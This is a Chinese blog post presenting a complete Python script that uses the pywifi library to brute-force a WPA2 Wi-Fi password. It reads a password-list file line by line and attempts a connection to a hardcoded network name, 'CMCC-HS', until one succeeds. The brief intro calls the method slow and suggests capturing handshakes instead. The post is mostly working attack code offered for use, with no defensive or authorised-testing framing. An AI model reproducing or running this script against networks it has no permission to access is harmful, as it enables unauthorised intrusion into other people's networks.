python暴力破解wifi

简介

此暴力破解是一种极端的方法相当于枚举。。。。。。
对于我这种小白几乎不可行
关键点要有一个有效的密码本然后一个一个去试。。。
时间是问题每次验证密码需要4秒左右的时间一个密码本的容量上百兆。。。可想而知时间问题直接否定了暴力破解,一般的小白还是去了解一哈抓取wifi握手包破解吧

下载安装pywifi模块

都说pip不能下载python模块,但是我的就是用pip下载的
打开cmd输入

pip install pywifi

暴力破解代码

# -*- coding=utf-8 -*-
#导入库
import pywifi 
from pywifi import const
import time

# 定义一个破解wifi函数
def wificonnect(wifiname,wifipwd):
    #创建wifi对象
    wifi  = pywifi.PyWiFi()
    #获取第一章网卡
    ifaces = wifi.interfaces()[0]
    #断开网卡wifi连接
    ifaces.disconnect()
    #睡眠0.5秒
    time.sleep(0.5)
    #判断网卡是否断开
    # # Define interface status.
    #IFACE_DISCONNECTED = 0     #
    #IFACE_SCANNING = 1         #
    #IFACE_INACTIVE = 2         #   网卡状态的值
    #IFACE_CONNECTING = 3       #
    #IFACE_CONNECTED = 4        #

    if ifaces.status() == const.IFACE_DISCONNECTED:#if ifaces.status() == 0:同样的效果



        #创建profile对象:网络配置文件
        profile = pywifi.Profile()
        #wifi名称
        profile.ssid = wifiname
        #wifi密码
        profile.key = wifipwd
        # 密钥管理类型
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #认证算法
        profile.auth = const.AUTH_ALG_OPEN
        #密码单元
        profile.cipher = const.CIPHER_TYPE_CCMP


        # 移除现有的网络配置文件
        ifaces.remove_all_network_profiles()
        #添加新的网络配置文件
        temp_profile = ifaces.add_network_profile(profile)
        #连接
        ifaces.connect(temp_profile)
        #睡眠三秒:尝试连接
        time.sleep(3)
        # 判断网卡连接状态
        if ifaces.status() == const.IFACE_CONNECTED:
            #连接成功返回True
            return True
        else:
            #否则返回False
            return False
    


# 相当于主函数

def read_pwd():


    print('开始破解')


    #密码本的路径
    path='C:\system\Desktop\python\python_Wifi\cnpassword.txt'
    #只读形式打开文件
    file = open(path,'r')


    #只要不破解成功就是死循环
    while True:
        try:
            #按行读取密码一次一行
            wifipwd = file.readline()
            # wifi名称变量
            wifiname = "CMCC-HS"
            #利用wificonnect函数的返回值判断是否连接
            bool = wificonnect(wifiname,wifipwd)
            #判断bool为 True   or    False来确定密码是否正确
            if bool:
                print('密码正确',wifipwd)
                break
            else:
                print('密码错误',wifipwd)
        except:
            continue
    #关闭文件
    file.close()

read_pwd()


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值